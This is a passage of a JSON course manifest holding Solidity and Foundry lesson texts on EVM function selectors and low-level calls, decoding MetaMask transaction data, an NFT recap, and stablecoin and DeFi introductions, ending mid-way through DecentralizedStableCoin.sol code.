"number": 21, + "title": "Advanced EVM - Recap", + "slug": "avanced-evm-recap", + "folderName": "21-evm-recap", + "description": "A recap of the advanced EVM concepts covered in the course. It revisits topics like string combination, low-level concepts, binary encoding, and the use of the 'call' function in Solidity, summarizing the key takeaways from the advanced sections of the course.", + "duration": 4, + "videoUrl": "9E7ierp9tZc", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/21-evm-recap/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Encoding functions recap\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello there! Trust me when I say we've covered a lot of ground together on this fascinating journey into the world of Solidity. But fear not, we're not done unraveling its complexities and building our understanding one block at a time.\n\n## Quick Recap\n\nBefore we dive into today's topic – the magic of call function, let's do a quick refresher on what we've explored in our previous discussions.\n\n### Combining Strings\n\nYou remember how we’ve talked about combining strings with the syntax like `Abi.encodePacked()` and then typecast it to a string, right? And you’ll recall how we observed that in newer versions of Solidity, the syntax looks something like `string(\"hi mom, miss you\")`. It's important to note that this works well in the newer versions, but might throw an error in the older Solidity versions.\n\n### Understanding Low-Level Concepts\n\nWe also took a deep dive into some low-level concepts, didn't we? We learnt about compiling our contracts, dealing with the mysterious ABI file and that weird binary thing (you know, that string of numbers and letters that makes our heads spin!). When we deploy a contract, this obscure code is what gets sent in the 'data' field of our contract creation transaction.\n\nFor contract creations, the data is populated with binary code. When it comes to function calls, the data is used to define what functions need to be called and with what parameters. But fret not, this is precisely what we're prepping ourselves to learn next!\n\n### Decoding the Enigma of Binary Encoding\n\nRemember how we can encode just about anything we want into this 'number and letter' code to save space through a method called `encodePacked`? We also learnt we can decode stuff that's been encoded, although we can't decode stuff that was encoded with the `encodePacked` method. Interesting, isn't it? We mastered multi encoding and then multi decoding, thus adding several cool tricks to our Solidity hats!\n\n### Introducing the Call Function\n\nOnwards, we analyze the power of the 'call' function. We realized that we can add data in the call function to make any call we want to any smart contract. Powerful, isn’t it?\n\n\n\n## Next Up: Handling the Call Function\n\nI bet you're raring to go now! So, let's deep dive into this exciting concept of how to use the 'call' function to make any calls we want to any smart contract.\n\nBefore you head out though, now's a great time to take that much-needed break. We just went over some brain-racking concepts. And like I always say, it's absolutely fine if you don't get everything the first time around. It's a complex subject and we're here for the entire marathon, not just the sprint. So feel free to revisit these ideas at your own pace and keep exploring this fascinating world of Solidity. Until next time!\n", + "updates": [] + }, + { + "id": "b6e9292c-29ee-4a69-8a29-910fd5b8eca3", + "number": 22, + "title": "EVM signatures selectors", + "slug": "evm-signatures-selectors", + "folderName": "22-evm-signatures-selectors", + "description": "Focuses on EVM encoding signatures and selectors. The lesson explains how to populate the data field in function calls, the role of function selectors, and the use of ABI to call functions without explicit interface definitions.", + "duration": 15, + "videoUrl": "JuLKe5oBwZI", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/22-evm-signatures-selectors/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Encoding Signatures & Selectors\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome back! Having discussed encoding before, let's now take our discussion a little further and understand how to populate the data field in a function call.\n\nIn essence, we will learn how to simplify transactions at the base level by means of binary, bytes, and hexadecimal to interact with smart contracts. Getting to grips with these concepts will allow us to emulate what the blockchain does at the fundamental level. Let's dive in and commence this learning journey.\n\n## Creating a New File and Setting Up\n\nTo kick things off, we'll create a new file called _call anything. sol_. We start with an SPDX license identifier of MIT and proceed to break down the code on this file.\n\nThe first thing to note is that to call a function with just the data field of the function call, we need to encode the function name & its parameters. When a function is called, we specify the function name and the parameters.\n\nThese need to be encoded down to the binary level to allow EVM (Ethereum-based smart contracts) and Solidity to comprehend what's happening.\n\n## Understanding Function Selectors and their Role\n\nTo achieve this, we need to delve into a couple of concepts. The first aspect relates to what is known as the 'function selector'. The function selector happens to be the first four bytes of the 'function signature'.\n\nThe function signature is essentially a string defining the function name and parameter. If 'transfer' is a function, for instance, it's going to have a function signature and will accept an address and a UN 256 as inputs.\n\nTo understand Solidity better, let's take a look at the bytecode and binary code. A function selector like 'transfer' informs Solidity to execute the transfer function. One of the ways to get the function selector is by encoding the function signature and grabbing its first four bytes.\n\n## Setting Up the Contract\n\nLet's now create the contract for our exercise with Solidity 0.8.7. We'll call this contract 'call anything'. With two storage variables in place, we have our function set up called 'transfer'.\n\nNotice that while the transfer function normally deals with an ERC-20 transfer, we are using it here with an address and a UN 256 amount. The idea is to set these values and work with the function to understand how it impacts our output.\n\nTo achieve this, we will create a function to get that function selector.\n\n```js\nfunction getSelectorOne() public pure returns(bytes4 selector){\n selector = bytes4(keccak256(bytes(\"transfer(address,uint256)\")));\n}\n```\n\nOnce we have compiled our code and run it, we access the function selector by clicking on 'getSelector1'. This provides us with the bytes that informs our Solidity contract that we refer to the transfer function with an address and a uint256 as input parameters.\n\n## Encoding The Parameters\n\nThe next step in this process involves encoding the parameters with our function selector.\n\n```js\nfunction getDataToCallTransfer(address someAddress, uint256 amount) pubic pure returns(bytes memory){\n return abit.encodeWithSelector(getSelector1(), someAddress, amount);\n}\n```\n\nABI (Application Binary Interface) plays a key role here. ABI is instrumental in ensuring that different system components interact seamlessly with each other. Here, it encodes the function selector and the arguments and then attaches the encoding to the specified four-byte selector.\n\nCompiling and running it helps us see how all the encoded data fits into the transaction data field. This further facilitates the contract in calling the transfer function and passing an address and an amount.\n\n## The Power of ABI to Call a Function\n\nWith these aspects in place, we can now use ABI to call functions without explicitly having to mention the function. We can create a function that calls the transfer function by encoding all necessary parameters.\n\n```js\nfunction callTransferFunctionDirectly(address someAddress, uint256 amount) public returns(bytes4, bool){\n (bool success, bytes memory returnData) = address(this).call(\n //getDataCallTransfer(someAddress, amount)\n abi.encodeWithSelector(getSelectorOne(), someAddress, amount)\n );\n return(bytes4(returnData), success);\n}\n```\n\nUsing the `address(this).call` method, we can directly call the function with the give parameters. The method returns a boolean value for success and the return data of the call.\n\nThis call function, while considered low-level, illustrates the ability to call the transfer function without actually having to call it directly. This demonstration lays the foundation for understanding how to interact between different contracts using ABI encoding and decoding methods.\n\n## Adjustments Using ABI: encodeWithSelector and encodeWithSignature\n\nABI function also provides us with another method: `encodeWithSignature`. This method simplifies the earlier mentioned processes as it turns the function string into a selector for us.\n\n```js\nfunction callTransferFunctionDirectly(address someAddress, uint256 amount) public returns(bytes4, bool){\n (bool success, bytes memory returnData) = address(this).call(\n //getDataCallTransfer(someAddress, amount)\n abi.encodeWithSignature(\"transfer(address,uint256)\", someAddress, amount)\n );\n return(bytes4(returnData), success);\n}\n```\n\nThis new function varies in no way from the previous function. Both functions carry out the same tasks; the only difference lies in the approach, with the second case simplifying things by combining the encoding process. This streamlines the encoding of the function selector on our behalf.\n\n### Note\n\nIt's generally considered good practice to use high-level approaches such as import interfaces rather than low-level calls as they provide the compiler's support and ensure data type matching. Despite this, mastering such low-level Solidity techniques allows us to appreciate the flexibility and versatility of the code more fully.\n\n## Recap and Next Steps\n\nThis advanced lesson on coding in Solidity reveals the importance of using encoding and decoding to affect smart contracts. It's normal to find these processes challenging initially. However, as we continue to practice, we will grow more comfortable with them.\n\nFor those who want to dig a little deeper, I recommend [Deconstructing Solidity](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/) by Open Zeppelin. This article goes further into the behind-the-scenes of a contract, a useful resource if you're interested in opcodes and lower-level components.\n\nThank you for sticking with me throughout this in-depth lesson on binary encoding in Solidity. Cheers and until the next time.\n", + "updates": [] + }, + { + "id": "ba69714a-ca5e-456b-9c6c-1afc337661f0", + "number": 23, + "title": "Verifying a transaction in Metamask", + "slug": "verifying-transaction-metamask", + "folderName": "23-verifying-metamask", + "description": "Provides a guide on verifying transactions in MetaMask. It includes steps to decode transaction data and emphasizes the importance of transaction verification for security purposes, especially when swapping tokens or interacting with smart contracts.", + "duration": 8, + "videoUrl": "hSo9imBuONs", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/23-verifying-metamask/+page.md", + "markdownContent": "---\ntitle: Verifying MetaMask transactions\n---\n\n_Follow along with this video._\n\n\n\n---\n\nToday, we're embarking on an exciting journey to unveil the mystery behind decoding transaction data using MetaMask. This wallet is used to perform many activities in the cryptocurrency world, but one activity that may seem challenging is the \"decoding of transaction data.\" Here, we explain this process using Wet, a contract that wraps native ETH into an ERC-20 token.\n\n## Setting up MetaMask\n\nThe first step in our journey is as easy as pie. It's the setup phase which calls for the connection to MetaMask. Here, we will be using the Sepolia Contract, as it is one of the existing contracts.\n\nFor this stage, all you need to do is:\n\n1. Navigate to your contract.\n2. Click on \"Write Contract.\"\n3. Connect to web3 and open up your MetaMask.\n\nIn this scenario, we will be calling the \"Transfer From\" function. As an aside, you should note that at times, MetaMask may fail to identify the function you are trying to call—this is where the fun begins.\n\n\n\n## Decoding the Call Data\n\nAfter setting up MetaMask, transacting, and the transaction confirmation pops up, you’re now ready to decode the transaction data.\n\nThe next step to take here is to copy the hex data and proceed to your terminal. Within your terminal, you'll use the `cast` helper. This tool comes with a vast array of commands like `call data decode` which is designed to decode ABI-encrypted input data.\n\n_Equation 1: cast call data decode SIG call data_\n\n\n\nIf your function selector doesn't match, you can use a different signature database to find the correct function. In some unusual cases, a contract might have two functions with the same signature, which is unsupported in Solidity.\n\n## Variance Check\n\nFrom there, you need to verify if your transaction data is accurate.\n\nTo do this, you decode the function you’re calling and its parameters by pasting the hex string from the transaction into the call data decode command.\n\n_Equation 2: cast call data decode SIG call data_\n\nWhen you complete these steps, MetaMask will display your decoded data. This data keeps the essence of your transaction, the information about the function you're calling and the parameters it utilizes.\n\n## Performing Transactions Safely\n\nThe said steps are applicable when performing transactions of any form in the cryptocurrency world.\n\n### An example:\n\nLet's say you wish to swap ETH for a token using Uniswap. After initiating the \"swap\" process, MetaMask shows you a transaction, but are you sure it's the transaction you want to make?\n\nTo confirm, you follow the steps previously outlined:\n\n1. Check your contract addresses.\n2. Read the function of the contract.\n3. Check the function selector.\n4. Decode the call data parameters.\n\nBy doing so, you can be utterly sure your wallets are performing the expected transactions.\n\nMeanwhile, it's important to note that some upcoming projects like Fire are working on the creation of wallets that can automatically decode transaction data. Hopefully, this will make for safer transactions and effectively eliminate the chances of falling victim to malicious transactions.\n\n## Wrapping Up\n\nAlways remember to verify the details of your transactions when dealing with large amounts of money in the cryptocurrency world, as transactions cannot be undone. With this guide, sending transactions, especially on MetaMask, should be a walk in the park. Stay safe and Happy Trading!\n", + "updates": [] + }, + { + "id": "dfedd4c2-96d5-4093-b8ce-c669163e7936", + "number": 24, + "title": "Section recap", + "slug": "nft-and-andvanced-evm-recap", + "folderName": "24-recap", + "description": "A comprehensive recap of the entire course, summarizing key concepts such as NFT basics, storage options, advanced EVM topics, smart contract interaction, and the use of tools like MetaMask for transaction verification.", + "duration": 4, + "videoUrl": "zU3kb_o0ppQ", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/24-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWow! We’ve traversed quite the technological terrain in this course. We've gained knowledge about NFTs, financial wallets, encoding, transaction viewing, decoding hex data and more. We have also had hands-on exercises to create a basic NFT with all the main functionalities necessary. So, let's do a quick run-through of all that we've covered in this course.\n\n## Understanding NFTs\n\nFirst and foremost, we demystified what an NFT actually is. NFT stands for Non-Fungible Token, a unique cryptographic token on blockchain that represents ownership or proof of authenticity of an item or asset, digital or physical.\n\nWe didn't stop at learning theoretically, we created our own basic NFT equipped with all the essential functions, such as the Token URI, which pointed to the metadata, and the Mint NFT function.\n\n```js\n function mintNftOnContract(address basicNftAddress) public {\n vm.startBroadcast();\n BasicNft(basicNftAddress).mintNft(PUG_URI);\n vm.stopBroadcast();\n }\n```\n\n## Storing NFTs: On-chain vs IPFS\n\nNext, we learnt about NFT storage, specifically the difference between storing the NFT metadata on-chain vs on IPFS. On-chain storage translates into a higher cost but boasts a more decentralized version. Storing on IPFS, on the other hand, is a bit cheaper.\n\nAside from IPFS and on-chain, we also briefly explored Filecoin and Rweave, two other decentralized storage platforms to consider. These offer a more decentralized, yet still cost-effective, solution than storing on the ETH mainnet.\n\n## Beyond the Basics\n\nOur learning journey didn't end there. We delved into more advanced matters like file reading from scripts, base 64 encoding, function signatures, function selectors, different encoding types and diverse methods for data encoding. We also mastered calling any function regardless of whether we have the interface, provided we have the function signature.\n\n## Behind the Scenes of Transactions\n\nExploring further, we got a handle on the nitty-gritty of transactions on the blockchain and the data included when sending transactions. We also learnt how to view transactions on a block explorer and delve into the related input data.\n\nA great example can be found when checking out previous transactions. On any block explorer, select a transaction, and join us as we navigate to more details to discover function information and input data.\n\n\n\n## The Journey Ahead\n\nReflecting on the lessons, it's clear we've learnt so much! And it is exciting to see how quickly the knowledge and skills are growing. As we move forward, you'll go through more advanced sections like the Foundry DFI stablecoin, upgrades, governance and introduction to security.\n\nTake a well-deserved break, and when you're ready, tweet your excitement about your super advanced learnings. You're on the path towards becoming a phenomenal smart contract developer. I can't wait to see you in the next lessons.\n\n_\"By getting this far, you have learned some skills that even some top solidity devs don't even know. You are growing incredibly quickly.\"_\n\nGood job, everyone! Until next time.\n", + "updates": [] + } + ] + }, + { + "number": 3, + "id": "c78f2bb4-4bcd-4808-94e7-2e2b33e2522b", + "title": "Develop a DeFi Protocol", + "slug": "develop-defi-protocol", + "folderName": "3-defi", + "lessons": [ + { + "id": "877d4fab-bf7c-483f-95ad-dab912ac5103", + "number": 1, + "title": "DeFi introduction", + "slug": "defi-introduction", + "folderName": "1-defi-introduction", + "description": "Explore the fundamentals of decentralized finance (DeFi) including key concepts, protocols, and the significance of DeFi in the financial sector.", + "duration": 10, + "videoUrl": "LrzxcaEEa14", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/1-defi-introduction/+page.md", + "markdownContent": "---\ntitle: DeFi Introduction\n---\n\n_Follow along the course with this video._\n\n\n\n# Diving into Decentralized Finance (DeFi)\n\nHello and welcome back. Today we will be delving into Foundry DeFi, taking a look at the code we will be working with throughout this course. It is important to mention that DeFi is an enormous and complex subject that fully deserves an exclusive course, but for now, let's start by delving into the basics of DeFi. Let’s get started!\n\n## I. An Overview of DeFi\n\nIf you are new to DeFi, a great starting point is [DeFi Llama](https://defillama.com/), a simple and intuitive website that provides a current snapshot of the DeFi industry, giving insights into total value locked in DeFi, leading apps, and dominant protocols. Top platforms include open-source decentralized banking like Aave, liquid staking platforms like Lido, decentralized exchanges like Uniswap and Curve Finance, and collateralized debt position protocols like MakerDAO which we will be building later in the course.\n\n### The Beauty of DeFi\n\n\n\nThe beauty of DeFi and the reason for its growing popularity is the access it provides to sophisticated financial products and instruments in a decentralized context.\n\n\n\nIn my opinion, DeFi is possibly the most exciting and important application of smart contracts. I highly recommend spending some time to become conversant with the basics of DeFi, if not becoming fully fluent. Start with useful resources such as the [Bankless](https://www.bankless.com/) podcast and [MetaMask Learn](https://learn.metamask.io/).\n\n## II. Getting Started with DeFi\n\nI encourage you to begin by playing around with apps such as Aave and Uniswap on their respective websites.\n\nFor newcomers, it is advisable to start on testnets. Some platforms, such as Ethereum, have high transaction fees, so beginners might want to consider cheaper alternatives like Polygon Optimism or Arbitrum.\n\nIt's crucial to remain aware of the concept of MEV (Miner Extractable Value or Maximal Extractable Value) which is a significant issue in the DeFi industry. In essence, if you are a validator who arranges transactions in a block, you can organize them in a manner that favors you - cultivating fair practices in this area is the focus of several protocols like Flashbots.\n\nFor those looking to delve deeper into DeFi, I recommend checking out the [Flashbots.net](https://www.flashbots.net/) website, which houses a wealth of videos and blogs.\n\n## III. The Project: Building A Stablecoin\n\nIn this course, we will be building our version of a stablecoin. The concept of stablecoins is advanced and widely misunderstood. To simplify it, they are assets that peg their market value to another stable asset, like gold or a fiat currency.\n\n## IV. Foundry Stablecoin Project is the Most Advanced.\n\n\n\nEven though we have following lessons on upgrades, governance, introduction to security, this Foundry Stablecoin project is the most advanced one we're working with, hands down.\n\nStepping into DeFi and understanding everything in this lesson can be a daunting task. Seek help from [Chat GPT](https://chat.openai.com/), use the [GitHub repo](https://github.com/Cyfrin/foundry-full-course-f23/) discussion tab or even browse the [MakerDAO forum](https://forum.makerdao.com/) to understand how the industry stalwarts are working and implementing DeFi.\n\nYou can even check out Coinbase's educational content to get a headstart on DeFi.\n\nAnd remember,\n\n\n\nIn the following section, we will be walking you through the code. Happy learning!\n", + "updates": [] + }, + { + "id": "1d12f97f-cd50-4fbd-80d0-ca47bcffdbe8", + "number": 2, + "title": "Project code walkthrough", + "slug": "defi-code-walkthrough", + "folderName": "2-defi-code-walkthrough", + "description": "Delve into the detailed walkthrough of DeFi codebase including analysis of key files and their functionalities in the DeFi environment.", + "duration": 4, + "videoUrl": "G0e-BP0fFjo", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/2-defi-code-walkthrough/+page.md", + "markdownContent": "---\ntitle: DeFi Code Walkthrough\n---\n\n_Follow along the course with this video._\n\n\n\n# Diving into the Codebase for a Decentralized Stablecoin\n\nWelcome to our deep-dive exploration of a pretty robust and interesting codebase! Today, we're unveiling the inner workings of two primary files: `DecentralizedStableCoin.sol` and `DSCEngine.sol`. Both can be found within the SRC folder of our codebase.\n\n\n\n## A Closer Look at decentralized stablecoin.sol\n\n`DcentralizedStableCoin.sol` is fundamentally a simplistic and minimalistic ERC20. What sets it aside, however, are the more intricate imports such as `ERC20Burnable` and `Ownable`.\n\nThe file contains pertinent functions such as the ERC20 constructor, a burn function (removes tokens), and a mint function (prints new tokens). At first glance, it bears striking resemblance to a classic ERC20.\n\n```javascript\nconstructor() ERC20 (\"DecentralizedStableCoin\", \"DSC\") {}\n\nfunction burn(uint256 _amount) public override onlyOwner{\n uint256 balance = balanceOf(msg.sender);\n if(_amount <= 0){\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n if (balance < _amount){\n revert DecentralizedStableCoin__BurnAmountExceedsBalance();\n }\n super.burn(_amount);\n}\n\nfunction mint(address _to, uint256 _amount) external onlyOwner returns (bool){\n if(_to == address(0)){\n revert DecentralizedStableCoin__NotZeroAddress();\n }\n if(_amount <= 0){\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n _mint(_to,_amount);\n return true;\n}\n```\n\n## Unraveling the DSCEngine\n\nOur main contract, `DSCEngine.sol`, controls the decentralized stablecoin. This file is brimming with specific functions. It accommodates functionalities such as the depositing and minting of DSC (Decentralized Stable Coin).\n\nPrimarily, the stablecoin operates by being collateral-backed, meaning that it's supported by collaterals with existing monetary value. This will be explored in greater detail further into this post.\n\n\n\nOther functions include the ability to redeem or withdraw your collateral, burn DSC, and liquidate. If you're wondering what liquidation is, don't worry; we'll break that down later.\n\nAn individual can also mint DSC if they have sufficient collateral, aside from depositing and redeeming collateral.\n\n## Diving into the Test Folder\n\n\n\nOur test folder includes unit tests for the engine, the stablecoin, and an Oracle Library. It also contains `mocks`, typical for any project.\n\nWe're also going to touch upon two intriguing aspects: fuzz tests and invariant tests. Especially, the introduction to `invariant tests` promises a fascinating journey as these tests discern average solidity developers from advanced ones.\n\n## Scripts\n\nOur scripts are astonishingly straightforward. Their principal purpose is to deploy the stablecoin. Here, we use Chainlink price feeds to gauge the price of underlying collateral.\n\nYou can find all the code and necessary information in this repo. However, be prepared, this section is advanced. So, understanding won't be a breeze, but remember, learning is never a race. You're encouraged to ask questions, code alongside, and fully comprehend what we're trying to accomplish.\n\n## The Importance of Stablecoins in DeFi\n\nBefore we proceed any further, I would like to mention that the reason for creating a stablecoin is my strong belief that they are pivotal in the universe of DeFi. The current solutions, however, are far from satisfying. Therefore, I hope this venture inspires you to create better, more efficient solutions.\n\nWith that said, let's go ahead and understand stablecoins better. Take your time, and keep learning! In the next part we'll be clarifying everything you need to know about stablecoins.\n", + "updates": [] + }, + { + "id": "14c8bc73-7738-419b-bc4e-11fbd16e72e1", + "number": 3, + "title": "Introduction to stablecoins", + "slug": "defi-stablecoins", + "folderName": "3-defi-stablecoins-but-actually", + "description": "Gain insights into stablecoins, their types, significance in DeFi, and the roles they play in maintaining economic stability in digital finance.", + "duration": 29, + "videoUrl": "9wTC9ERju54", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/3-defi-stablecoins-but-actually/+page.md", + "markdownContent": "---\ntitle: Stablecoins, but actually\n---\n\n_Follow along the course with this video._\n\n\n\n# Everything You Need to Know About Stablecoins\n\n## Introduction\n\nStablecoins have become one of the most talked about topics in the cryptocurrency and blockchain space. However, there is a lot of misleading information out there about what stablecoins really are and how they work. This blog post will provide a comprehensive overview of stablecoins, clarifying common misconceptions and providing key details that every crypto enthusiast should understand.\n\nWe'll cover what stablecoins are, why they matter, different categories and properties of stablecoins, designs of top stablecoins like Dai and USDC, and most importantly - the real incentives behind stablecoin creation and usage. There's a lot of ground to cover, so let's dive in!\n\n## What Are Stablecoins?\n\n\n\nA stablecoin is a cryptocurrency designed to have minimal volatility and maintain a stable value over time. The key property of a stablecoin is that its \"buying power\" remains relatively constant.\n\nFor example, if 1 ETH could buy 10 apples last year but this year 1 ETH can only buy 5 apples due to ETH volatility, we would say ETH's buying power changed significantly. However, if $1 could buy 1 apple last year and $1 can still buy 1 apple today, the dollar's buying power remained stable.\n\nStablecoins aim to mimic the stability of fiat currencies like the dollar, while still retaining the benefits of cryptocurrencies like decentralization and security. A more formal definition is:\n\n\n\nUnlike most cryptocurrencies, stablecoins are pegged to real-world assets like the US dollar or algorithmically controlled via supply and demand to maintain stability.\n\n## Why Do Stablecoins Matter?\n\nStablecoins fulfill 3 key functions of money that are needed for an efficient economy:\n\n1. **Store of value**: Allow people to preserve wealth over time.\n2. **Unit of account**: Provide a common measure of value to price goods and services.\n3. **Medium of exchange**: Enable transactions between parties via a payment method.\n\nFor crypto to become a mature asset class and decentralized ecosystem, it requires stable assets that can reliably perform these functions without volatility. Fiat currencies like the US dollar serve these roles in traditional finance.\n\nStablecoins allow decentralized protocols to have access to price stability and a reliable medium of exchange - unlocking use cases like decentralized lending, payments, and more.\n\n## Categorizing Stablecoins\n\nThere are 3 key ways to categorize different types of stablecoins:\n\n### 1. Relative Stability\n\n- **Pegged (anchored) stablecoins**: Pegged to the value of another asset like the US dollar. Examples include USDC, Tether.\n- **Floating (unpegged) stablecoins**: Not pegged to any external asset. Stability is maintained via supply and demand mechanisms. Example: RYE stablecoin.\n\n### 2. Stability Mechanism\n\n- **Algorithmic**: Stability is maintained programmatically via a decentralized algorithm. Examples: DAI, Frax.\n- **Governed (centralized)**: Stability is controlled manually by a central party. Examples: USDC, Tether.\n\n### 3. Collateral Type\n\n- **Exogenous**: Collateral comes from outside the stablecoin's ecosystem. If stablecoin fails, collateral is unaffected. Examples: DAI (ETH collateral), USDC (USD fiat collateral).\n- **Endogenous**: Collateral comes from inside the stablecoin's ecosystem. If stablecoin fails, collateral fails too. Example: TerraUSD (LUNA collateral).\n\n## Top Stablecoin Designs\n\nNow let's look at some top stablecoins and their key design properties:\n\n### DAI\n\nProperties:\n\n- Pegged to USD\n- Algorithmic\n- Exogenous collateral (overcollateralized ETH)\n\nDAI is one of the most influential DeFi stablecoins. Users deposit ETH as collateral to mint DAI stablecoins against it. Unique stability fees discourage excessive printing. Autonomous smart contracts maintain the peg and collateralization ratio.\n\n### USDC\n\nProperties:\n\n- Pegged to USD\n- Governed (centralized)\n- Exogenous collateral (USD fiat reserves in bank accounts)\n\nUSDC is a popular stablecoin back 1:1 by US dollar reserves. It is controlled by a consortium of centralized entities that manage the reserves.\n\n### TerraUSD (UST)\n\nProperties:\n\n- Formerly pegged to USD\n- Algorithmic\n- Endogenous collateral (LUNA tokens)\n\nUST relied on algorithmic mechanisms to maintain its peg to the US dollar. Its stability was dependent on LUNA, whose value collapsed along with UST. This shows the risks of endogenous collateral.\n\n### RYE\n\nProperties:\n\n- Floating (not pegged)\n- Algorithmic\n- Exogenous collateral (ETH)\n\nRYE uses supply and demand mechanisms to algorithmically maintain stability relative to purchasing power. It is one of the few prominent non-pegged stablecoins on the market today.\n\n## The Real Purpose of Stablecoins\n\nAt this point you may be wondering - if stablecoins are supposed to enable decentralized payments and commerce, why are they being printed in the billions?\n\nThe truth is, the primary users and beneficiaries of today's stablecoins are not average crypto users transacting in a decentralized economy. **The key demand for stablecoins actually comes from wealthy crypto investors seeking to amplify their holdings through leveraged trading strategies.**\n\nMost DeFi protocols allow users to deposit cryptoassets like ETH as collateral to take out stablecoin loans, often at attractive interest rates. Investors can then use these stablecoins to buy more ETH and increase their position size.\n\nEssentially, stablecoins unlock amplified exposure to volatile cryptoassets - also known as leverage. With the ability to go 2-3x leverage on their holdings via stablecoin loans, large crypto investors can maximize returns in bull markets.\n\nAnd because stablecoin systems charge fees for minting, they earn a nice revenue stream from traders pursuing these leveraged strategies.\n\n**So while stablecoins are marketed as bringing stability and usability to decentralized finance, the reality is speculative leverage is driving most of the growth in stablecoins today.**\n\n## Conclusion\n\nThis covers the key essentials you need to know about stablecoins. To recap:\n\n- Stablecoins are cryptocurrencies designed to maintain a stable value.\n- They bring stability and usability to decentralized finance.\n- But leverage and speculation are big drivers of stablecoin demand today.\n\nThere are still many open questions about the ideal stablecoin design and governance model. I'm excited to see how stablecoin technology and applications continue to evolve in years to come!\n\nLet me know in the comments if you have any other stablecoin topics you want me to cover in a future post. And don't forget to like and share this article!\n", + "updates": [] + }, + { + "id": "34ba57b0-a5f2-4991-801b-a4f3a0f1c230", + "number": 4, + "title": "Decentralised stablecoins", + "slug": "defi-decentralized-stablecoin", + "folderName": "4-defi-decentralized-stablecoin", + "description": "Understand the creation and management of decentralized stablecoins, focusing on their development, operational mechanics, and impact on DeFi.", + "duration": 15, + "videoUrl": "cLkqQaJsmls", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/4-defi-decentralized-stablecoin/+page.md", + "markdownContent": "---\ntitle: DecentralizedStableCoin.sol\n---\n\n_Follow along the course with this video._\n\n\n\n# Building a Decentralized Stablecoin: Step-by-Step Guide\n\nIn this section, we're diving into the exciting world of decentralized finance (DeFi) and going one step ahead by creating our very own stablecoin. We'll be covering everything you need to know to follow along and delve into the world of stablecoins with us.\n\n## What is a Stablecoin?\n\nA stablecoin is a form of cryptocurrency that is pegged to a reserve asset like the US Dollar. The idea behind it is to provide stability in the highly volatile world of cryptocurrencies.\n\n## Forging Ahead with Code\n\nIf you're as excited about this project as we are, you can follow along with all the code that we're creating in this tutorial. We have dedicated an entire GitHub repository to the code we'll be building - it's under the [foundry-defi-stablecoin-f23](https://github.com/Cyfrin/foundry-defi-stablecoin-f23) course section. We have big plans for this project, including getting the code audited to ensure its security and reliability.\n\nTo follow the updates about this audit, keep an eye on this GitHub repository as we will be posting all audit reports there.\n\nWe're diving straight into the nuts and bolts of this project. A lot of the information we'll be going over is likely to be familiar to you if you've done similar projects before. However, we'll also introduce a few new concepts like stateless fuzzing.\n\n## The Architecture of Our Stablecoin\n\nSo, before we dive straight into the code, let's take a glance at what our stablecoin's architecture is going to look like. We are building a stablecoin that's one, anchored, meaning it is pegged to the US Dollar. Secondly, our stability mechanism is algorithmic, meaning the process for minting is going to be entirely decentralized - there's no governing entity that is controlling our stablecoins. Lastly, we're using exogenous crypto-assets, specifically Ethereum and Bitcoin, as collateral for our stablecoin.\n\n\n\n## Maintaining Our Stablecoin's Value\n\nTo ensure that our stablecoin is always worth $1, we have to match it to the dollar's price constantly. We do this using a chainlink price feed. Our program will run a feed from chainlink, and we will set a function to exchange Ethereum and Bitcoin for their equivalent dollar value. This function will help us maintain the stability of our stablecoin.\n\nTo make the stability mechanism algorithmic, we will have a condition in our code that only mints the stablecoin if there's enough collateral.\n\nThe collateral type, i.e., Ethereum and Bitcoin, is exogenous, meaning, we're only going to accept these two types of cryptocurrencies as collateral. We're going to use the ERC20 version of Ethereum and Bitcoin, also known as wrapped Ethereum (WETH) and wrapped Bitcoin (WBTC).\n\n\n\nTo use this architecture, we create a code that over collateralizes the stablecoin using WETH and Bitcoin as the collateral.\n\n## Pulling up Our Sleeves and Coding Away\n\nWith the plan in place, it's time to dive into coding.\n\nHere is a step-by-step guide to creating your own decentralised stablecoin:\n\n### Step 1: Install OpenZeppelin\n\nWe begin by installing OpenZeppelin as it provides basic smart contract-building blocks. To do this, we use the following command:\n\n```bash\nforge install openzeppelin/openzeppelin-contracts --no-commit\n```\n\nThen open up the `foundry TOML` and add the following remappings:\n\n```javascript\nremappings = [\"@openzeppelin/contracts=lib/openzeppelin-contracts/contracts\"];\n```\n\n### Step 2: Import Libraries and Contract Functions\n\nOnce OpenZeppelin is correctly installed, open up our `DecentralizedStableCoin.sol` contract file where we will import necessary libraries. We start by importing three OpenZeppelin contracts: `ERC20`, `ERC20Burnable` and `Ownable`.\n\nThe `ERC20Burnable` contract provides us with a \"burn\" function, which is essential in maintaining the peg price of our stablecoin, as we'll be burning a lot of tokens. The \"burn\" function will be overridden by our function.\n\nIn contrast, when it comes to the \"mint\" function, we do not need to override any functions. Instead, we are going to call the \"\\_mint\" function directly.\n\n```javascript\n//SDPX-LICENSE-IDENTIFIER:MIT\npragma solidity 0.8.19;\n\nimport {ERC20Burnable, ERC20} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {Ownable} from \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract DecentralizedStableCoin is ERC20Burnable, Ownable {\n error DecentralizedStableCoin__AmountMustBeMoreThanZero();\n error DecentralizedStableCoin__BurnAmountExceedsBalance();\n error DecentralizedStableCoin__NotZeroAddress();\n\n constructor() ERC20(\"DecentralizedStableCoin\", \"DSC\") {}\n\n function burn(uint256 _amount) public override onlyOwner {\n uint256 balance = balanceOf(msg.sender);\n if (_amount <= 0) {\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n if (balance < _amount) {\n revert 